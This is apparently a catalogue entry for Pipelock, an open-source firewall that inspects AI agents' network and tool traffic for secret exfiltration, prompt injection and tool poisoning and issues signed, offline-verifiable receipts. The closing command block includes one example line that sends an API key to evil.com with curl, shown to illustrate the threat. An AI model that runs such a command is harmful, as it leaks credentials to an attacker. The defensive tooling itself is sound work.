Pipelock is an open-source AI agent firewall written in Go and licensed Apache-2.0 that sits between AI agents and the network, inspecting mediated HTTP, WebSocket, MCP, and A2A traffic for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains, and emitting mediator-signed action receipts so a reviewer can verify what the boundary decided from outside the agent runtime.

What it is

Pipelock lives in the AI agent ecosystem, alongside the agents and frameworks it protects: Claude Code, OpenAI Codex, Cline, OpenCode, Pi, Zed, Cursor, VS Code, JetBrains, the OpenAI Agents SDK, Google ADK, AutoGen, CrewAI, and LangGraph. It becomes the boundary between an agent's secrets and the open internet when that agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of each decision.

The concrete problem is the request an agent can make one time and never regret: an agent holding $PROVIDER_API_KEY in its environment with shell access can leak it in a single curl call. Rather than asking operators to trust a dashboard, Pipelock hands over a signed receipt that can be checked offline with a key the operator holds, with no account and no server. It replaces vendor-dashboard assurance with self-verifiable evidence, and the detections are exercised by the public agent-egress-bench corpus.

Key capabilities

• Inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled; plain CONNECT without interception is scanned at the hostname and URL level.
• Emits mediator-signed action receipts over content-aware boundary decisions, per the published action-receipt spec at pipelab.org.
• Runs attack scenarios and writes evidence locally with no configuration and no network: pipelock demo --receipts-dir ./out produces seven signed receipts plus signer.pub.
• Verifies a single receipt offline with a held key: pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub.
• Records a flight-recorder session during operation and renders it without a server: pipelock evidence view --receipt-dir ./recorder --out report.html, or pipelock evidence serve for a read-only version.
• Anchors receipt-chain checkpoints for later audit with pipelock anchor receipts, writing to a local backend or a Rekor transparency log.
• Carries a github-action integration path and a Gauntlet workflow that acts as a scheduled candidate exam against a pinned corpus commit rather than an auto-published public score.

Who uses it and how

• Developers running coding agents in IDEs and terminals, including Claude Code, Cursor, VS Code, JetBrains, Zed, and Cline, who route that agent's egress through Pipelock.
• Teams building on agent frameworks such as the OpenAI Agents SDK, Google ADK, AutoGen, CrewAI, and LangGraph, where tool calls and MCP connections cross machine boundaries.
• Platform and security engineers who deploy Pipelock as a proxy, MCP wrapper, sandbox, host containment model, or cluster topology, depending on where the agent already runs.
• Reviewers and auditors who verify receipts offline against a key they hold, with no Pipelock account and no server involved.
• Evaluators who want a first look in the browser through the live playground before wiring anything into production.

Getting started

The README quick start runs pipelock demo --receipts-dir ./out to fire attack scenarios and write signed receipts, and for operational recording the path is pipelock init --output ./pipelock.yaml followed by pipelock run --config ./pipelock.yaml. A browser-based playground at pipelab.org is available for trying it without a deployment.

How it compares

The facts provided do not name any paid products that Pipelock replaces, and they do not name comparable tools in the same category. On the evidence available, Pipelock stands alone in this registry.

When to use it — and when not to

Self-hosting Pipelock means operating the boundary itself: a proxy, MCP wrapper, sandbox, host containment, or cluster topology, plus a recorder directory and a signing key the operator controls. Honest limits are stated in the project's own material. The operator holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest; the demo signs with an ephemeral key that proves self-consistency rather than a named identity; and operator-independent verification against an anchor is still being proven end to end. Teams that need a vendor-hosted dashboard, an auto-published public benchmark score, or agents whose traffic cannot be routed through a mediated boundary should not pick it.

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is <action-id>.json)

pipelock init --output ./pipelock.yaml        # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml         # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html   # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder                    # same report, served read-only

## Build the current release from source (Community edition, Go 1.25+)
git clone --branch v3.5.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install

##